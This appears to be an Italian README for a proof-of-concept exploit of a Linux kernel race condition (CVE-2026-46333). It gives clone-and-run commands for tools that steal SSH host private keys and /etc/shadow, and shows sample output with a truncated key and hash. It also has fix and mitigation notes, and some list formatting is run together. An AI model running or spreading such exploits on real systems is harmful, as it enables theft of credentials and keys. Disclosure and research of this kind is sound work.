
CVE-2026-46333
Prova di concetto di alta qualità per la vulnerabilità di race condition nel kernel Linux
Un exploit prova di concetto pulito e affidabile per CVE-2026-46333 — Divulgazione locale di informazioni tramite race condition nel percorso di uscita del processo del kernel Linux.
Rubata con successo la chiave privata host SSH e /etc/shadow su Kali Linux
CVE-2026-46333 (noto anche come ssh-keysign-pwn) è una race condition nella logica di ptrace e uscita del processo del kernel Linux (do_exit() → exit_mm() prima di exit_files()).
Quando un processo privilegiato (es. SUID ssh-keysign o chage) ha mm == NULL durante l'uscita, il controllo di dumpability viene aggirato, consentendo a un attaccante locale non privilegiato di utilizzare pidfd_getfd() per rubare descrittori di file aperti.
Impatto:
/etc/ssh/ssh_host_*_key)/etc/shadowScoperto da: Qualys
Corretto in: commit del kernel 31e62c2ebbfdc3fe3dbdf5e02c92a9dc67087a3a (Maggio 2026)
/etc/shadow tramite chagegit clone https://github.com/0xBlackash/CVE-2026-46333.git
cd CVE-2026-46333
sudo ./CVE-2026-46333
sudo ./CVE-2026-46333-shadow
| File | Descrizione |
|---|---|
cve-2026-46333.c | Rubachiavi private host SSH |
cve-2026-46333-shadow.c | Ruba /etc/shadow tramite chage |
README.md |
Rubachiavi SSH:
[+] SUCCESS! Stolen fd 3 -> /etc/ssh/ssh_host_ecdsa_key (round 0)
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAB...
Ruba Shadow:
[+] SUCCESS! Stolen /etc/shadow (round 0)
root:*:19953:0:99999:7:::
kali:$y$j9T$zY1oKFxJlTgP2WcJhzbNl1$...
31e62c2ebbfd...EnableSSHKeysign in sshd_config se non necessarioQuesto exploit è solo per scopi educativi e di ricerca sulla sicurezza.
Usalo solo su sistemi di tua proprietà o per cui hai esplicita autorizzazione scritta per testare.
L'autore non è responsabile per eventuali usi impropri o danni.
Questo progetto è concesso in licenza secondo i termini della Licenza MIT — sentiti libero di usare, modificare e distribuire.
Realizzato con ❤️ per la comunità della sicurezza
Mantenere i sistemi aggiornati è la migliore difesa.
| Questo file |